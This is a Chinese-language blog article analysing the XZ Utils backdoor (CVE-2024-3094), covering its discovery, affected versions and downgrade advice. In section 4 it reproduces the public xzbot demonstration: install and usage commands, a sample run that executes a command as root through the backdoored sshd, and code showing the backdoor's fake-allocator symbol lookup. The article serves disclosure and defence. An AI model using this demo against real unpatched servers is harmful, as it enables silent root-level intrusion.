news 2026/5/13 21:04:27

XZ后门事件深度解析:漏洞机理、攻击演示与防御策略

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
XZ后门事件深度解析:漏洞机理、攻击演示与防御策略

XZ 后门 (CVE-2024–3094):事件分析、工具后门解析与防御措施

目录:

  1. 引言
  2. 漏洞详情
  3. 风险评估与缓解措施
  4. CVE-2024–3094 调查
  5. 结论

1- 引言:

一位微软开发人员于周五发布了一项重大发现,震动了科技界:在几乎所有 Linux 和类 Unix 系统中广泛使用的开源数据压缩工具 XZ Utils 中被发现有人故意植入了后门。该项目背后的攻击者可能耗费了数年时间进行开发,并差点将含有后门的更新推送至 Debian 和 Red Hat 等主流 Linux 发行版。然而,他们的计划被一位警惕的软件开发人员发现的可疑活动所挫败。据软件和密码学工程师 Filippo Valsorda 称,这一事件代表了公开讨论中最为复杂和令人担忧的供应链攻击之一,展现了在一个被高度使用的软件库中存在的恶意意图、专业技术以及授权滥用。

XZ Utils 是 Linux 环境中被广泛使用的工具,在包括 Linux 在内的各种类 Unix 操作系统中提供重要的无损数据压缩功能。其功能对于在大量操作中压缩和解压数据至关重要。此外,XZ Utils 支持 .lzma 格式,进一步提升了其重要性。

2- 漏洞详情:

2024年3月29日,在 XZ Utils 中发现的后门引发了人们对受影响系统可能遭受后门访问和远程代码执行的担忧。该后门专门针对运行在使用 glibc、systemd 和打了补丁的 OpenSSH 的系统上的 XZ Utils 5.6.0 和 5.6.1 版本。建议用户立即停止使用并回退到 XZ 5.4.x 版本。该后门在特定条件下激活,可能影响系统性能和安全。这种情况突显了在开源软件生态系统中,关键基础设施过度依赖个别维护者所带来的风险。正在进行的调查旨在全面评估影响,并采取措施减轻该后门带来的风险。

图1:XZ 爆发事件“CVE-2024–3094”的简单图形化说明(来源:Thomas Roccia@FR0GGER)

微软负责 PostgreSQL 解决方案的开发工程师 Andres Freund 最近在 Debian 系统上遇到了与 SSH(通过互联网远程访问设备的主要协议)相关的性能问题。具体表现为 SSH 登录导致 CPU 使用率过高,并在内存监控工具 valgrind 中产生错误。通过偶然的机会和 Freund 的细致检查,最终确定问题源于对 XZ Utils 的更新。Freund 在一个周五在开源安全邮件列表中透露,这些更新是试图向该压缩软件中植入后门的故意行为。

3- 风险评估与缓解措施:

XZ Utils 5.6.0 和 5.6.1 版本中包含的恶意代码改变了软件的功能。该后门影响了用于 SSH 连接的可执行文件sshd。攻击者如果持有特定的加密密钥,就能够通过 SSH 登录证书在被入侵设备上嵌入和执行代码。虽然尚未观察到实际的代码上传行为,但其潜在后果包括窃取加密密钥到安装恶意软件。

使用带有 xz 或 liblzma 5.6.0 或 5.6.1 版本的 glibc 的系统,尤其是那些同时装有 systemd 和打了补丁的 OpenSSH 的系统,均存在漏洞。面向公网的云服务上存在受影响版本的情况会带来更高的风险,需要立即更新以解决漏洞。云提供商的底层系统或服务可能依赖这些易受攻击的版本,这强调了验证和更新实例或咨询提供商公告的重要性。对反混淆脚本的分析表明,该漏洞仅存在于特定的 Linux x86_64 版本中,因为该脚本会动态决定是否更改构建过程,如下图所示。

图2:此函数用于验证目标操作系统是否为 x86-64 Linux。

下表列出了受影响的发行版以及针对每个发行版建议采取的措施。

表1:受影响发行版、操作系统和软件包的列表,以及解决漏洞的建议(来源:arstechnica.com, 2024)。

为解决该漏洞,建议用户立即停止使用 xz-utils 压缩工具并回退到 xz-5.4.x。降级这些软件包的说明可以在提供的链接中找到。采用深度防御策略可以加强安全措施,帮助减轻工作负载中的漏洞,保护其免受恶意活动的侵害。

此外,配置持续集成/持续部署(CI/CD)流水线,使其在特定条件下停止构建过程,可以防止包含已识别漏洞的代码被部署到生产环境。Aqua Enforcer 的恶意软件检测功能会主动扫描节点以发现 xz-utils 后门利用行为,并在检测到时及时通知管理员,以便快速响应和缓解。

4- CVE-2024–3094 调查

调查包含以下组件:

  • 蜜罐:模拟易受攻击的服务器,旨在识别漏洞利用尝试。
  • ed448 补丁:修改 liblzma.so 以包含我们自定义的 ED448 公钥。
  • 后门格式:后门负载的结构。
  • 后门演示:用于触发远程代码执行(RCE)的命令行界面(CLI),前提是拥有 ED448 私钥。

4.1. 后门演示

$ go install github.com/amlweems/xzbot@latest $ xzbot -h Usage of xzbot: -addrstringssh serveraddress(default"127.0.0.1:2222") -seedstringed448 seed, must match xz backdoorkey(default"0") -cmdstringcommand to run viasystem() (default"id > /tmp/.xz")

以下命令将连接到位于127.0.0.1:2222的易受攻击的 SSH 服务器,并运行命令id > /tmp/.xz

我们可以在易受攻击的服务器上设置一个监视点,以监控system()函数的调用,并观察命令的执行。

$ bpftrace -e'watchpoint:0x07FFFF74B1995:8:x {printf("%s (%d): %s\n", comm, pid, str(uptr(reg("di"))))}' Attaching 1 probe... sshd (1234): id > /tmp/.xz $ cat /tmp/.xz uid=0(root) gid=0(root) groups=0(root)

利用成功后,进程树看起来与典型的 sshd 进程树不同。

# 正常进程树 $ ssh foo@bar $ ps -ef --forest root 7651 0 17:58 ? 00:00:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups root 1026 7651 7 18:51 ? 00:00:00 \_ sshd: foo [priv] foo 1050 1026 0 18:51 ? 00:00:00 \_ sshd: foo@pts/1 foo 1051 1050 0 18:51 pts/1 00:00:00 \_ -bash # 后门进程树 $ xzbot -cmd 'sleep 60' $ ps -ef --forest root 7651 0 17:58 ? 00:00:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups root 941 7654 1 18:04 ? 00:00:00 \_ sshd: root [priv] sshd 942 941 0 18:04 ? 00:00:00 \_ sshd: root [net] root 943 941 0 18:04 ? 00:00:00 \_ sh -c sleep 60 root 944 943 0 18:04 ? 00:00:00 \_ sleep 60

请注意,成功的漏洞利用不会产生任何 INFO 或更高级别的日志条目。

4.2. 自动机的字符串识别器

Florian Weimer 提取的后门代码版本不包含任何可读的 ASCII 字符串或经过混淆的 ASCII 字符串。相反,它包含一个单一状态自动机,用于识别特定字符串。搜索字符串涉及将所有可能的起始地址输入到字符串检测自动机,并验证是否识别出所需的字符串。识别后,字符串检测自动机会分配一个字符串 ID。

实现字符串检测自动机的函数是_Lsimple_coder_update_0,其特征如下:

(此部分为大量字符串ID与其对应字符串的映射关系,列表较长,省略具体内容以保持简洁。这些字符串包括如'/usr/sbin/sshd\x00''Accepted password for '、各种加密函数名、环境变量名、库函数名等,主要用于在后门运行时识别和定位关键内存地址或函数。)

4.3. 模拟内存分配器

在 liblzma 内部,存在一个内存分配层,它简单地将分配和释放调用重定向到指定的分配器。调用带有指定分配器对象的lzma_alloclzma_free本质上是触发该对象内的一个函数指针,这个指针可能与实际的内存分配操作有关,也可能无关。该后门包含一个伪造的分配器对象,它执行符号查找而不是实际分配,并且在释放时不执行任何操作。查找函数接受一个字符串 ID(参见上一节)作为大小参数。由于字符串 ID 可以被 8 整除,并且范围在 10 到 0xd10 之间,因此它们最初看起来是可行的大小。这个伪造的分配器对象由.Lstream_decoder_memconfig.part.1提供。

分配器结构包含一个传递给分配和释放函数的上下文指针。对于这个伪造的分配器,其不透明的opaque成员指向内部的 ELF 模块描述符记录。典型的使用模式(假设为返回伪造分配器的函数起了一个合理的符号名)如下:

lzma_allocator*fake_alloc=GetFakeAllocator();fake_alloc->opaque=libc_elfmodule;void*symbol=lzma_alloc(0xAB8,fake_allocator);// 0xAB8: 字符串 "setresuid" 的 ID// 使用符号,可能调用它,或者将其存储在某处lzma_free(symbol,fake_allocator);// 只是个幌子,什么都不做

需要注意的是,后门对象本身并不包含lzma_alloclzma_free;这些是由 liblzma 中非后门代码提供的标准函数。

5- 结论

XZ Utils 中故意植入后门的披露,突显了开源软件中供应链攻击的持续威胁。开发人员和安全专家在检测和缓解该后门方面的迅速响应,强调了保持警惕和采取主动安全措施的重要性。这也提醒我们,依赖外部库和组件会带来复杂的相互依赖性和风险,需要持续监控和更新以防止潜在的漏洞利用。在调查和解决 XZ 后门方面的协调努力,展现了网络安全社区在应对新出现威胁和保护关键软件基础设施方面的韧性。
CSD0tFqvECLokhw9aBeRqg7hBpseDJ45eX7wRsf5iUPQGgPhwrZ8WHIvRaEIdMa5yZIpWXqanDXsN5nymclK8ynlvwadp8Gfgn1RDJjwm3Di1OopQ6PgTBR3msffaToRsBsXQ72++/mo3yhMuY7x9hIfI7fuao1A9nkTDXfFFuY=
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/12 13:24:35

低端游戏官网 - 支持网页在线玩经典DOS/Windows游戏平台

随着Web技术的快速发展,在浏览器中运行传统本地应用程序已成为现实。低端游戏(RetroOnline)网站利用先进的Web技术,成功实现了经典游戏的无缝迁移,让用户无需安装任何软件即可重温《红色警戒》、《暗黑破坏神》等经典作…

作者头像 李华
网站建设 2026/5/12 13:24:35

基于SpringBoot与微信小程序的图书馆座位预约系统设计与实现

一、系统开发背景与意义 在高校图书馆或公共图书馆中,座位资源紧张与管理效率低下的矛盾日益凸显。传统人工占座、纸质登记等方式,不仅浪费人力成本,还易引发读者间的座位纠纷,导致座位资源利用率低。随着移动互联网技术的普及&am…

作者头像 李华
网站建设 2026/5/9 12:04:18

域名代购适合哪些人?并不是所有人都需要

在域名交易市场中,“域名代购”一直是一个常被提起、却容易被误解的服务。很多人以为代购只是“帮忙买域名”,但实际上,是否需要代购,取决于你想要什么样的域名,以及你愿意为成功率付出多少成本。一、想要特定域名&…

作者头像 李华
网站建设 2026/5/9 15:31:48

基于Python的高校毕业生招聘信息推荐系统设计与实现

一、系统开发背景与核心目标 高校毕业生在求职过程中常面临“信息过载与精准匹配缺失”的双重困境:招聘信息分散于各类平台,毕业生需耗费大量时间筛选有效内容;传统推荐多依赖简单关键词匹配,难以结合专业背景、技能特长、职业规划…

作者头像 李华
网站建设 2026/5/9 16:37:40

【技术教程】前端UI组件库Shadcn/ui

shadcn/ui 详解与实战案例 shadcn/ui 是近年来备受前端开发者青睐的 UI 组件库,与传统 UI 库(如 Ant Design、MUI)有本质区别。它不是一个通过 npm 安装的第三方依赖包,而是一套可直接复制到项目中的高质量组件源代码&#xff0c…

作者头像 李华
网站建设 2026/5/11 5:19:25

学Simulink——基础微电网场景实例:基于Simulink的主从控制策略在微电网中的应用仿真

目录 手把手教你学Simulink 一、引言:什么是“主从控制”?为什么它适合微电网? 二、系统整体架构 控制层级: 三、关键模块1:主单元 —— V/f 控制实现 原理: Simulink 实现步骤: 四、关键模块2:从单元 —— PQ 控制实现 原理: 控制流程: 五、关键模块3:并…

作者头像 李华